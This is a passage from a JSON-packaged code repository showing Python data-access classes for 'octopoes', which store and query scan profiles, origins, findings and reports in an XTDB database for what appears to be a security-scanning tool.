\".join([str(scan_level.value) for scan_level in scan_levels])\n            query_in = \":in [[_scan_level ...]]\"\n            query_args = f\":in-args [[{scan_levels_values}]]\"\n        query = f\"\"\"\n            {{\n                :query {{\n                    :find [(rand {amount} ?id)]\n                    {query_in}\n                    :where [\n                        [?e :xt/id ?id]\n                        [?e :object_type]\n                        [?scan_profile :type \"ScanProfile\"]\n                        [?scan_profile :reference ?e]\n                        [?scan_profile :level _scan_level]\n                    ]\n                }}\n                {query_args}\n            }}\n            \"\"\"\n\n        res = self.session.client.query(query, valid_time)\n        if not res:\n            return []\n        references = {Reference.from_str(reference) for reference in res[0][0]}\n        return list(self.load_bulk(references, valid_time, include_scan_levels=include_scan_levels).values())\n\n    def get_tree(\n        self,\n        reference: Reference,\n        valid_time: datetime,\n        search_types: set[type[OOI]] | None = None,\n        depth: int = 1,\n        include_scan_levels: bool = True,\n    ) -> ReferenceTree:\n        if search_types:\n            search_types = to_concrete(search_types)\n\n        results = self._get_tree_level({reference}, search_types=search_types, depth=depth, valid_time=valid_time)\n        try:\n            reference_node = results[0]\n        except IndexError:\n            raise ObjectNotFoundException(str(reference))\n        store = self.load_bulk(reference_node.collect_references(), valid_time, include_scan_levels=include_scan_levels)\n        return ReferenceTree(root=reference_node, store=store)\n\n    def _get_related_objects(\n        self, references: set[Reference], valid_time: datetime | None, search_types: set[type[OOI]] | None = None\n    ) -> list[ReferenceNode]:\n        \"\"\"\n        Returns a Reference node for each reference, containing the 1-depth related objects\n        \"\"\"\n        ooi_classes = {ooi.class_ for ooi in references}\n        ooi_ids = [str(reference) for reference in references]\n        field_node = RelatedFieldNode(data_model=datamodel, object_types=ooi_classes)\n        field_node.build_tree(1, {searchtype.__name__ for searchtype in search_types} if search_types else None)\n        query = generate_pull_query(FieldSet.ONLY_ID, {self.pk_prefix: ooi_ids}, field_node=field_node)\n        res = self.session.client.query(query, valid_time=valid_time)\n        res = [element[0] for element in res]\n        xtdb_reference_root_nodes = TypeAdapter(list[XTDBReferenceNode]).validate_python(res)\n        return [x.to_reference_node(self.pk_prefix) for x in xtdb_reference_root_nodes]\n\n    def _get_tree_level(\n        self,\n        references: set[Reference],\n        search_types: set[type[OOI]] | None = None,\n        depth: int = 1,\n        exclude: set[Reference] | None = None,\n        valid_time: datetime | None = None,\n    ) -> list[ReferenceNode]:\n        if depth == 0 or not references:\n            return []\n\n        if exclude is None:\n            exclude = set()\n\n        # Query 1-depth related objects\n        reference_nodes = self._get_related_objects(references, valid_time=valid_time, search_types=search_types)\n\n        # Filter exclusions from results\n        for reference_node in reference_nodes:\n            reference_node.filter_children(lambda child: child.reference not in exclude)\n\n        if depth == 1:\n            return reference_nodes\n\n        # Next depth = children except non-traversable\n        deeper_references: set[Reference] = set()\n        for reference_node in reference_nodes:\n            for child_nodes in reference_node.children.values():\n                deeper_references.update([child.reference for child in child_nodes])\n        deeper_references = {reference for reference in deeper_references if reference.class_type.traversable()}\n\n        # Query next level\n        exclude.update(references)\n        deeper_result = self._get_tree_level(\n            deeper_references, search_types=search_types, depth=depth - 1, exclude=exclude, valid_time=valid_time\n        )\n\n        # Replace flat results with recursed results\n        deeper_lookup = {node.reference: node for node in deeper_result}\n        for node in reference_nodes:\n            node.children = {\n                attr_name: [deeper_lookup.get(child.reference, child) for child in children]\n                for attr_name, children in node.children.items()\n            }\n\n        return reference_nodes\n\n    @classmethod\n    def decode_segment(cls, encoded_segment: str) -> Segment:\n        source_type_name, property_name = encoded_segment.split(\"/\")\n        relation_owner_type = type_by_name(source_type_name)\n\n        if property_name.startswith(\"_\"):\n            direction = Direction.INCOMING\n            property_name = property_name[1:]\n            target_relation = get_relation(relation_owner_type, property_name)\n            return Segment(target_relation, direction, property_name, relation_owner_type)\n        else:\n            direction = Direction.OUTGOING\n            target_relation = get_relation(relation_owner_type, property_name)\n            return Segment(relation_owner_type, direction, property_name, target_relation)\n\n    @classmethod\n    def construct_neighbour_query(cls, reference: Reference, paths: set[Path] | None = None) -> str:\n        if paths is None:\n            paths = get_paths_to_neighbours(reference.class_type)\n\n        encoded_segments = [path.segments[0].encode() for path in sorted(paths)]\n        segment_query_sections = [f\"{{:{s} [*]}}\" for s in encoded_segments]\n\n        query = \"\"\"{{\n                    :query {{\n                        :find [\n                            (pull ?e [\n                                :xt/id\n                                {related_fields}\n                            ])\n                        ]\n                        :in [[ _xt_id ... ]]\n                        :where [[?e :xt/id _xt_id]]\n                    }}\n                    :in-args [[{reference}]]\n                }}\"\"\".format(reference=str_val(reference), related_fields=\" \".join(segment_query_sections))\n\n        return query\n\n    @classmethod\n    def construct_neighbour_query_multi(cls, references: set[Reference], paths: set[Path]) -> str:\n        encoded_segments = [path.segments[0].encode() for path in sorted(paths)]\n        segment_query_sections = [f\"{{:{s} [*]}}\" for s in encoded_segments]\n\n        query = \"\"\"{{\n                        :query {{\n                            :find [\n                                (pull ?e [\n                                    {related_fields}\n                                ])\n                            ]\n                            :in [[ _xt_id ... ]]\n                            :where [[?e :xt/id _xt_id] [?e :object_type]]\n                        }}\n                        :in-args [[{references}]]\n                    }}\"\"\".format(\n            references=\" \".join(map(str_val, references)), related_fields=\" \".join(segment_query_sections)\n        )\n\n        return query\n\n    def get_neighbours(\n        self, reference: Reference, valid_time: datetime, paths: set[Path] | None = None\n    ) -> dict[Path, list[OOI]]:\n        query = self.construct_neighbour_query(reference, paths)\n\n        response = self.session.client.query(query, valid_time=valid_time)\n\n        try:\n            response_data = response[0][0]\n        except IndexError:\n            return {}\n\n        ret = {}\n        for key, value in response_data.items():\n            if key == \"xt/id\" or value == {}:\n                continue\n            path = Path([self.decode_segment(key)])\n            if isinstance(value, list):\n                ret[path] = [self.deserialize(serialized) for serialized in value]\n            else:\n                ret[path] = [self.deserialize(value)]\n\n        return ret\n\n    def list_neighbours(self, references: set[Reference], paths: set[Path], valid_time: datetime) -> set[OOI]:\n        query = self.construct_neighbour_query_multi(references, paths)\n\n        response = self.session.client.query(query, valid_time=valid_time)\n\n        neighbours = set()\n\n        for row in response:\n            col = row[0]\n            for value in col.values():\n                if value:\n                    if isinstance(value, list):\n                        for serialized in value:\n                            neighbours.add(self.deserialize(serialized))\n                    else:\n                        neighbours.add(self.deserialize(value))\n\n        return neighbours\n\n    def save(self, ooi: OOI, valid_time: datetime, end_valid_time: datetime | None = None) -> None:\n        # retrieve old ooi\n        try:\n            old_ooi = self.get(ooi.reference, valid_time=valid_time)\n        except ObjectNotFoundException:\n            old_ooi = None\n\n        new_ooi = ooi\n        if old_ooi is not None:\n            new_ooi, changed = merge_ooi(ooi, old_ooi)\n            # Nothing changed, no need to save\n            if not changed:\n                return\n\n        # save ooi with expiry\n        self.session.add((XTDBOperationType.PUT, self.serialize(new_ooi), valid_time))\n        if end_valid_time is not None:\n            self.session.add((XTDBOperationType.DELETE, str(ooi.reference), end_valid_time))\n\n        # Update event, instead of create\n        event = OOIDBEvent(\n            operation_type=OperationType.CREATE if old_ooi is None else OperationType.UPDATE,\n            valid_time=valid_time,\n            old_data=old_ooi,\n            new_data=new_ooi,\n            client=self.event_manager.client,\n        )\n\n        # After transaction, send event\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def delete_if_exists(self, reference: Reference, valid_time: datetime) -> None:\n        try:\n            self.delete(reference, valid_time)\n        except ObjectNotFoundException:\n            return\n\n    def delete(self, reference: Reference, valid_time: datetime) -> None:\n        ooi = self.get(reference, valid_time=valid_time)\n\n        self.session.add((XTDBOperationType.DELETE, str(reference), valid_time))\n\n        event = OOIDBEvent(\n            operation_type=OperationType.DELETE, valid_time=valid_time, old_data=ooi, client=self.event_manager.client\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def list_oois_without_scan_profile(self, valid_time: datetime) -> set[Reference]:\n        query = \"\"\"\n            {:query {\n             :find [?ooi]\n             :where [[?ooi :object_type ?t]\n                    (not-join [?ooi] [?scan_profile :reference ?ooi] [?scan_profile :type \"ScanProfile\"])] }}\n        \"\"\"\n        response = self.session.client.query(query, valid_time=valid_time)\n        return {Reference.from_str(row[0]) for row in response}\n\n    def count_findings_by_severity(self, valid_time: datetime) -> Counter:\n        severity_counts = Counter({severity: 0 for severity in RiskLevelSeverity})\n\n        query = \"\"\"\n            {:query {\n                :find [?finding_type (pull ?finding_type [*]) (count ?finding)]\n                :where [\n                    [?finding :Finding/finding_type ?finding_type]\n                    (not-join [?finding] [?muted_finding :MutedFinding/finding ?finding])\n                    ]}}\n        \"\"\"\n\n        for finding_type_name, finding_type_object, finding_count in self.session.client.query(\n            query, valid_time=valid_time\n        ):\n            if not finding_type_object:\n                logger.warning(\n                    \"There are %d %s findings but the finding type is not in the database\",\n                    finding_count,\n                    finding_type_name,\n                )\n                severity = RiskLevelSeverity.PENDING\n            else:\n                ft = cast(FindingType, self.deserialize(finding_type_object))\n                severity = ft.risk_severity or RiskLevelSeverity.PENDING\n            severity_counts.update([severity] * finding_count)\n        return severity_counts\n\n    def get_bit_configs(self, source: OOI, bit_definition: BitDefinition, valid_time: datetime) -> list[Config]:\n        path = Path.parse(f\"{bit_definition.config_ooi_relation_path}.<ooi [is Config]\")\n\n        query = (\n            Query.from_path(path)\n            .where(type(source), primary_key=source.primary_key)\n            .where(Config, bit_id=bit_definition.id)\n        )\n\n        configs = self.query(query, valid_time)\n\n        return [config for config in configs if isinstance(config, Config)]\n\n    def list_related(self, ooi: OOI | Reference, path: Path, valid_time: datetime) -> list[OOI]:\n        path_start_alias = path.segments[0].source_type\n        query = Query.from_path(path).where(\n            path_start_alias, primary_key=ooi.primary_key if isinstance(ooi, OOI) else ooi\n        )\n\n        # query() can return different types depending on the query\n        return self.query(query, valid_time)  # type: ignore[return-value]\n\n    def list_findings(\n        self,\n        severities: set[RiskLevelSeverity],\n        valid_time: datetime,\n        exclude_muted: bool = False,\n        only_muted: bool = False,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        search_string: str | None = None,\n        order_by: Literal[\"score\", \"finding_type\"] = \"score\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"desc\",\n    ) -> Paginated[Finding]:\n        # clause to find risk_severity\n        concrete_finding_types = to_concrete({FindingType})\n        severity_clauses = [\n            f\"[?finding_type :{finding_type.get_object_type()}/risk_severity ?severity]\"\n            for finding_type in concrete_finding_types\n        ]\n        or_severities = f\"(or {' '.join(severity_clauses)})\"\n\n        # clause to find risk_score\n        score_clauses = [\n            f\"[?finding_type :{finding_type.get_object_type()}/risk_score ?score]\"\n            for finding_type in concrete_finding_types\n        ]\n        or_scores = f\"(or {' '.join(score_clauses)})\"\n\n        muted_clause = \"\"\n        if exclude_muted:\n            muted_clause = \"(not-join [?finding] [?muted_finding :MutedFinding/finding ?finding])\"\n        elif only_muted:\n            muted_clause = \"[?muted_finding :MutedFinding/finding ?finding]\"\n\n        search_statement = (\n            f\"\"\"[?finding :xt/id ?id]\n                                [(clojure.string/includes? ?id \\\"{escape_string(search_string)}\\\")]\"\"\"\n            if search_string\n            else \"\"\n        )\n\n        order_statement = f\":order-by [[?{order_by} :{asc_desc}]]\"\n\n        severity_values = \", \".join([str_val(severity.value) for severity in severities])\n\n        count_query = f\"\"\"\n            {{\n                :query {{\n                    :find [(count ?finding)]\n                    :in [[severities_ ...]]\n                    :where [[?finding :object_type \"Finding\"]\n                            [?finding :Finding/finding_type ?finding_type]\n                            {search_statement}\n                            [(== ?severity severities_)]\n                            {or_severities}\n                            {muted_clause}]\n                }}\n                :in-args [[{severity_values}]]\n            }}\n        \"\"\"\n\n        if limit == 0:\n            count_results = self.session.client.query(count_query, valid_time)\n            count = 0\n            if count_results and count_results[0]:\n                count = count_results[0][0]\n            return Paginated(count=count, items=[])\n\n        finding_query = f\"\"\"\n            {{\n                :query {{\n                    :find [(pull ?finding [*]) ?score ?finding_type]\n                    :in [[severities_ ...]]\n                    :where [[?finding :object_type \"Finding\"]\n                            [?finding :Finding/finding_type ?finding_type]\n                            [(== ?severity severities_)]\n                            {or_severities}\n                            {or_scores}\n                            {muted_clause}\n                            {search_statement}]\n                    :limit {limit}\n                    :offset {offset}\n                    {order_statement}\n                }}\n               :in-args [[{severity_values}]]\n            }}\n        \"\"\"\n        res = self.query(finding_query, valid_time)\n\n        # if the resultset is smaller than the requested limit, we know the count\n        if len(res) < limit:\n            count = len(res) + offset\n        else:  # if the resultset is the same size as the requested limit, lets ask the db for the total count\n            res_count = self.session.client.query(count_query, valid_time)\n            count = res_count[0][0] if res_count else 0\n        return Paginated(count=count, items=[x[0] for x in res])\n\n    def simplify_keys(self, data: dict[str, Any]) -> dict[str, Any]:\n        new_data: dict[str, Any] = {}\n        for key, value in data.items():\n            if isinstance(value, list):\n                new_data[key.split(\"/\")[-1]] = [\n                    self.simplify_keys(item) if isinstance(item, dict) else item for item in value\n                ]\n            elif isinstance(value, dict):\n                new_data[key.split(\"/\")[-1]] = self.simplify_keys(value)\n            else:\n                new_key = key.split(\"/\")[-1] if key.startswith(\"Report/\") else key\n                new_data[new_key] = value\n        return new_data\n\n    def list_reports(\n        self, valid_time: datetime, offset: int, limit: int, recipe_id: UUID | None = None, ignore_count: bool = False\n    ) -> Paginated[HydratedReport]:\n        date = Aliased(Report, field=\"date_generated\")\n        query = Query(Report).where(Report, date_generated=date)\n\n        if recipe_id:\n            query = query.where(ReportRecipe, recipe_id=str(recipe_id))\n            query = query.where(Report, report_recipe=ReportRecipe)\n\n        if not ignore_count:\n            count_results = self.query(query.count(), valid_time)\n            count = 0 if not count_results else count_results[0]\n        else:\n            count = 0\n\n        if settings.asset_reports:\n            query = query.pull(Report, fields=\"[* {:Report/input_oois [*]}]\")\n\n        query = query.pull(Report).order_by(date, ascending=False)\n\n        # XTDB requires the field ordered on to be returned in a find statement, see e.g. the discussion here:\n        # https://github.com/xtdb/xtdb/issues/418\n        results = self.query(query.find(date).limit(limit).offset(offset), valid_time, HydratedReport)\n\n        # Remove the date from the results\n        return Paginated(count=count, items=[results[0] for results in results])\n\n    def get_report(self, valid_time: datetime, report_id: str | Reference) -> HydratedReport:\n        query = Query(Report).where(Report, primary_key=str(report_id))\n        if settings.asset_reports:\n            results = self.query(query.pull(Report, fields=\"[* {:Report/input_oois [*]}]\"), valid_time, HydratedReport)\n        else:\n            results = self.query(query.pull(Report), valid_time, HydratedReport)\n\n        if not results:\n            raise ObjectNotFoundException(report_id)\n\n        result = results[0]\n\n        if not isinstance(result, HydratedReport):\n            raise ValueError(\"Invalid query result\")\n\n        return result\n\n    def query(\n        self, query: str | Query, valid_time: datetime, to_type: type[OOI] | None = None\n    ) -> list[OOI | tuple | dict[Any, Any]]:\n        \"\"\"\n        Performs the given query and returns the query results at the provided valid_time.\n\n        At this point, the query can return both OOIs or more complex structures, see for example the query-many\n        endpoint. For backward compatibility, we try to deserialize oois whenever we expect that to be possible, but\n        when we are going to improve and extend query capabilities, deserialization should be moved outside this method.\n        \"\"\"\n\n        try:\n            results = self.session.client.query(query, valid_time=valid_time)\n        except HTTPStatusError as error:\n            logger.exception(\"XTDB did not agree with our request: %s, with query: %s @ %s\", error, query, valid_time)\n            raise\n\n        parsed_results: list[dict[Any, Any] | OOI | tuple] = []\n        for result in results:\n            parsed_result = []\n\n            for item in result:\n                if isinstance(item, dict):\n                    try:\n                        parsed_result.append(self.deserialize(item, to_type))\n                    except (ValueError, TypeError):\n                        parsed_result.append(item)  # type: ignore\n                else:\n                    parsed_result.append(item)\n\n            if len(parsed_result) == 1:\n                parsed_results.append(parsed_result[0])\n                continue\n\n            parsed_results.append(tuple(parsed_result))\n\n        return parsed_results\n"
  },
  {
    "path": "octopoes/octopoes/repositories/origin_parameter_repository.py",
    "content": "from datetime import datetime\nfrom http import HTTPStatus\nfrom typing import Any\n\nfrom httpx import HTTPStatusError\n\nfrom octopoes.events.events import OperationType, OriginParameterDBEvent\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.origin import OriginParameter\nfrom octopoes.repositories.repository import Repository\nfrom octopoes.xtdb import FieldSet\nfrom octopoes.xtdb.client import OperationType as XTDBOperationType\nfrom octopoes.xtdb.client import XTDBSession\nfrom octopoes.xtdb.query_builder import generate_pull_query\n\n\nclass OriginParameterRepository(Repository):\n    def __init__(self, event_manager: EventManager):\n        self.event_manager = event_manager\n\n    def get(self, origin_parameter_id: str, valid_time: datetime) -> OriginParameter:\n        raise NotImplementedError\n\n    def save(self, origin_parameter: OriginParameter, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def delete(self, origin_parameter: OriginParameter, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def list_by_origin(self, origin_id: set[str], valid_time: datetime) -> list[OriginParameter]:\n        raise NotImplementedError\n\n    def list_by_reference(self, reference: Reference, valid_time: datetime) -> list[OriginParameter]:\n        raise NotImplementedError\n\n\nclass XTDBOriginParameterRepository(OriginParameterRepository):\n    pk_prefix = \"xt/id\"\n\n    def __init__(self, event_manager: EventManager, session: XTDBSession):\n        super().__init__(event_manager)\n        self.session = session\n\n    def commit(self, sync: bool = False):\n        self.session.commit(sync)\n\n    @classmethod\n    def serialize(cls, origin_parameter: OriginParameter) -> dict[str, Any]:\n        data = origin_parameter.model_dump()\n        data[cls.pk_prefix] = origin_parameter.id\n        data[\"type\"] = origin_parameter.__class__.__name__\n        return data\n\n    @classmethod\n    def deserialize(cls, data: dict[str, Any]) -> OriginParameter:\n        return OriginParameter.model_validate(data)\n\n    def get(self, origin_parameter_id: str, valid_time: datetime) -> OriginParameter:\n        try:\n            return self.deserialize(self.session.client.get_entity(origin_parameter_id, valid_time))\n        except HTTPStatusError as e:\n            if e.response.status_code == HTTPStatus.NOT_FOUND:\n                raise ObjectNotFoundException(origin_parameter_id)\n            else:\n                raise e\n\n    def list_by_origin(self, origin_id: set[str], valid_time: datetime) -> list[OriginParameter]:\n        query = generate_pull_query(FieldSet.ALL_FIELDS, {\"origin_id\": origin_id, \"type\": OriginParameter.__name__})\n        results = self.session.client.query(query, valid_time=valid_time)\n        return [self.deserialize(r[0]) for r in results]\n\n    def list_by_reference(self, reference: Reference, valid_time: datetime) -> list[OriginParameter]:\n        query = generate_pull_query(\n            FieldSet.ALL_FIELDS, {\"reference\": str(reference), \"type\": OriginParameter.__name__}\n        )\n        results = self.session.client.query(query, valid_time=valid_time)\n        return [self.deserialize(r[0]) for r in results]\n\n    def save(self, origin_parameter: OriginParameter, valid_time: datetime) -> None:\n        try:\n            old_origin_parameter = self.get(origin_parameter.id, valid_time)\n        except ObjectNotFoundException:\n            old_origin_parameter = None\n\n        if old_origin_parameter == origin_parameter:\n            return\n\n        self.session.add((XTDBOperationType.PUT, self.serialize(origin_parameter), valid_time))\n\n        event = OriginParameterDBEvent(\n            operation_type=OperationType.CREATE if old_origin_parameter is None else OperationType.UPDATE,\n            valid_time=valid_time,\n            old_data=old_origin_parameter,\n            new_data=origin_parameter,\n            client=self.event_manager.client,\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def delete(self, origin_parameter: OriginParameter, valid_time: datetime) -> None:\n        self.session.add((XTDBOperationType.DELETE, origin_parameter.id, valid_time))\n\n        event = OriginParameterDBEvent(\n            operation_type=OperationType.DELETE,\n            valid_time=valid_time,\n            old_data=origin_parameter,\n            client=self.event_manager.client,\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n"
  },
  {
    "path": "octopoes/octopoes/repositories/origin_repository.py",
    "content": "from datetime import datetime\nfrom http import HTTPStatus\nfrom typing import Any\nfrom uuid import UUID\n\nfrom httpx import HTTPStatusError\n\nfrom octopoes.events.events import OperationType, OriginDBEvent\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.origin import Origin, OriginType\nfrom octopoes.repositories.repository import Repository\nfrom octopoes.xtdb import FieldSet\nfrom octopoes.xtdb.client import OperationType as XTDBOperationType\nfrom octopoes.xtdb.client import XTDBSession\nfrom octopoes.xtdb.query_builder import generate_pull_query\n\n\nclass OriginRepository(Repository):\n    def __init__(self, event_manager: EventManager):\n        self.event_manager = event_manager\n\n    def get(self, origin_id: str, valid_time: datetime) -> Origin:\n        raise NotImplementedError\n\n    def save(self, origin: Origin, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def list_origins(\n        self,\n        valid_time: datetime,\n        *,\n        task_id: UUID | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        source: Reference | None = None,\n        result: Reference | None = None,\n        method: str | list[str] | None = None,\n        origin_type: OriginType | list[OriginType] | set[OriginType] | None = None,\n    ) -> list[Origin]:\n        raise NotImplementedError\n\n    def delete(self, origin: Origin, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n\nclass XTDBOriginRepository(OriginRepository):\n    pk_prefix = \"xt/id\"\n\n    def __init__(self, event_manager: EventManager, session: XTDBSession):\n        super().__init__(event_manager)\n        self.session = session\n\n    def commit(self, sync: bool = False):\n        self.session.commit(sync)\n\n    @classmethod\n    def serialize(cls, origin: Origin) -> dict[str, Any]:\n        data = origin.model_dump()\n        data[cls.pk_prefix] = origin.id\n        data[\"type\"] = origin.__class__.__name__\n        data[\"result\"] = list(dict.fromkeys(data[\"result\"]))\n        return data\n\n    @classmethod\n    def deserialize(cls, data: dict[str, Any]) -> Origin:\n        return Origin.model_validate(data)\n\n    def list_origins(\n        self,\n        valid_time: datetime,\n        *,\n        task_id: UUID | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        source: Reference | None = None,\n        result: Reference | None = None,\n        method: str | list[str] | None = None,\n        origin_type: OriginType | list[OriginType] | set[OriginType] | None = None,\n    ) -> list[Origin]:\n        where_parameters: dict[str, str | list[str]] = {\"type\": Origin.__name__}\n\n        if task_id:\n            where_parameters[\"task_id\"] = str(task_id)\n\n        if source:\n            where_parameters[\"source\"] = str(source)\n\n        if result:\n            where_parameters[\"result\"] = str(result)\n\n        if method:\n            where_parameters[\"method\"] = method\n\n        if origin_type:\n            if isinstance(origin_type, OriginType):\n                where_parameters[\"origin_type\"] = origin_type.value\n            elif isinstance(origin_type, list | set) and all(isinstance(otype, OriginType) for otype in origin_type):\n                where_parameters[\"origin_type\"] = [otype.value for otype in origin_type]\n\n        query = generate_pull_query(FieldSet.ALL_FIELDS, where_parameters, offset=offset, limit=limit)\n\n        results = self.session.client.query(query, valid_time=valid_time)\n        return [self.deserialize(r[0]) for r in results]\n\n    def get(self, id_: str, valid_time: datetime) -> Origin:\n        try:\n            return self.deserialize(self.session.client.get_entity(id_, valid_time))\n        except HTTPStatusError as e:\n            if e.response.status_code == HTTPStatus.NOT_FOUND:\n                raise ObjectNotFoundException(id_)\n            else:\n                raise e\n\n    def save(self, origin: Origin, valid_time: datetime) -> None:\n        try:\n            old_origin = self.get(origin.id, valid_time)\n        except ObjectNotFoundException:\n            old_origin = None\n\n        if old_origin == origin:\n            # Declared and inferred origins won't have a task id, so if the old\n            # origin is the same as the one being saved we can just return. In\n            # case an observed origin is saved, we will delete the origin with\n            # the old task id and create a new one. We can still fetch the old\n            # origin using the previous valid time.\n            if origin.task_id == old_origin.task_id:\n                return\n\n            self.session.add((XTDBOperationType.DELETE, old_origin.id, valid_time))\n\n        self.session.add((XTDBOperationType.PUT, self.serialize(origin), valid_time))\n        if old_origin != origin:\n            # Only publish an event if there is a change in data. We won't send\n            # events when only the normalizer task id of an observed origin is\n            # updated.\n            event = OriginDBEvent(\n                operation_type=OperationType.CREATE if old_origin is None else OperationType.UPDATE,\n                valid_time=valid_time,\n                old_data=old_origin,\n                new_data=origin,\n                client=self.event_manager.client,\n            )\n            self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def delete(self, origin: Origin, valid_time: datetime) -> None:\n        self.session.add((XTDBOperationType.DELETE, origin.id, valid_time))\n\n        event = OriginDBEvent(\n            operation_type=OperationType.DELETE,\n            valid_time=valid_time,\n            old_data=origin,\n            client=self.event_manager.client,\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n"
  },
  {
    "path": "octopoes/octopoes/repositories/repository.py",
    "content": "class Repository:\n    def commit(self, sync: bool = False):\n        raise NotImplementedError\n"
  },
  {
    "path": "octopoes/octopoes/repositories/scan_profile_repository.py",
    "content": "from datetime import datetime\nfrom http import HTTPStatus\nfrom typing import Any\n\nfrom httpx import HTTPStatusError\nfrom pydantic import TypeAdapter\n\nfrom octopoes.events.events import OperationType, ScanProfileDBEvent\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import Reference, ScanProfile, ScanProfileBase\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.repositories.repository import Repository\nfrom octopoes.xtdb import FieldSet\nfrom octopoes.xtdb.client import OperationType as XTDBOperationType\nfrom octopoes.xtdb.client import XTDBSession\nfrom octopoes.xtdb.query_builder import generate_pull_query\n\nscan_profile_adapter = TypeAdapter(ScanProfile)\n\n\nclass ScanProfileRepository(Repository):\n    def __init__(self, event_manager: EventManager):\n        self.event_manager = event_manager\n\n    def get(self, ooi_reference: Reference, valid_time: datetime) -> ScanProfileBase:\n        raise NotImplementedError\n\n    def save(\n        self, old_scan_profile: ScanProfileBase | None, new_scan_profile: ScanProfileBase, valid_time: datetime\n    ) -> None:\n        raise NotImplementedError\n\n    def list_scan_profiles(self, scan_profile_type: str | None, valid_time: datetime) -> list[ScanProfileBase]:\n        raise NotImplementedError\n\n    def delete(self, scan_profile: ScanProfileBase, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def get_bulk(self, references: set[Reference], valid_time: datetime) -> list[ScanProfileBase]:\n        raise NotImplementedError\n\n\nclass XTDBScanProfileRepository(ScanProfileRepository):\n    object_type = \"ScanProfile\"\n    pk_prefix = \"xt/id\"\n\n    def __init__(self, event_manager: EventManager, session: XTDBSession):\n        super().__init__(event_manager)\n        self.session = session\n\n    def commit(self, sync: bool = False):\n        self.session.commit(sync)\n\n    @classmethod\n    def format_id(cls, ooi_reference: Reference) -> str:\n        return f\"{cls.object_type}|{ooi_reference}\"\n\n    @classmethod\n    def serialize(cls, scan_profile: ScanProfile) -> dict[str, Any]:\n        data = scan_profile.model_dump()\n        data[cls.pk_prefix] = cls.format_id(scan_profile.reference)\n        data[\"type\"] = cls.object_type\n        return data\n\n    @classmethod\n    def deserialize(cls, data: dict[str, Any]) -> ScanProfileBase:\n        return scan_profile_adapter.validate_python(data)\n\n    def list_scan_profiles(self, scan_profile_type: str | None, valid_time: datetime) -> list[ScanProfileBase]:\n        where = {\"type\": self.object_type}\n        if scan_profile_type is not None:\n            where[\"scan_profile_type\"] = scan_profile_type\n        query = generate_pull_query(FieldSet.ALL_FIELDS, where)\n        results = self.session.client.query(query, valid_time=valid_time)\n        return [self.deserialize(r[0]) for r in results]\n\n    def get(self, ooi_reference: Reference, valid_time: datetime) -> ScanProfileBase:\n        id_ = self.format_id(ooi_reference)\n        try:\n            return self.deserialize(self.session.client.get_entity(id_, valid_time))\n        except HTTPStatusError as e:\n            if e.response.status_code == HTTPStatus.NOT_FOUND:\n                raise ObjectNotFoundException(id_)\n            else:\n                raise e\n\n    def save(\n        self, old_scan_profile: ScanProfileBase | None, new_scan_profile: ScanProfileBase, valid_time: datetime\n    ) -> None:\n        if old_scan_profile == new_scan_profile:\n            return\n        self.session.add((XTDBOperationType.PUT, self.serialize(new_scan_profile), valid_time))\n\n        event = ScanProfileDBEvent(\n            operation_type=OperationType.CREATE if old_scan_profile is None else OperationType.UPDATE,\n            valid_time=valid_time,\n            reference=new_scan_profile.reference,\n            old_data=old_scan_profile,\n            new_data=new_scan_profile,\n            client=self.event_manager.client,\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def delete(self, scan_profile: ScanProfileBase, valid_time: datetime) -> None:\n        self.session.add((XTDBOperationType.DELETE, self.format_id(scan_profile.reference), valid_time))\n\n        event = ScanProfileDBEvent(\n            operation_type=OperationType.DELETE,\n            reference=scan_profile.reference,\n            valid_time=valid_time,\n            old_data=scan_profile,\n            client=self.event_manager.client,\n        )\n        self.session.listen_post_commit(lambda: self.event_manager.publish(event))\n\n    def get_bulk(self, references: set[Reference], valid_time: datetime) -> list[ScanProfileBase]:\n        ids = list(map(str, references))\n        query = generate_pull_query(FieldSet.ALL_FIELDS, {\"type\": self.object_type, \"reference\": ids})\n        res = self.session.client.query(query, valid_time)\n        return [self.deserialize(x[0]) for x in res]\n"
  },
  {
    "path": "octopoes/octopoes/tasks/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/tasks/app.py",
    "content": "from celery import Celery\n\nimport octopoes.config.celery as celery_config\nfrom octopoes.config.settings import Settings\n\nsettings = Settings()\n\napp = Celery()\napp.config_from_object(celery_config)\n"
  },
  {
    "path": "octopoes/octopoes/tasks/scanprofiles.py",
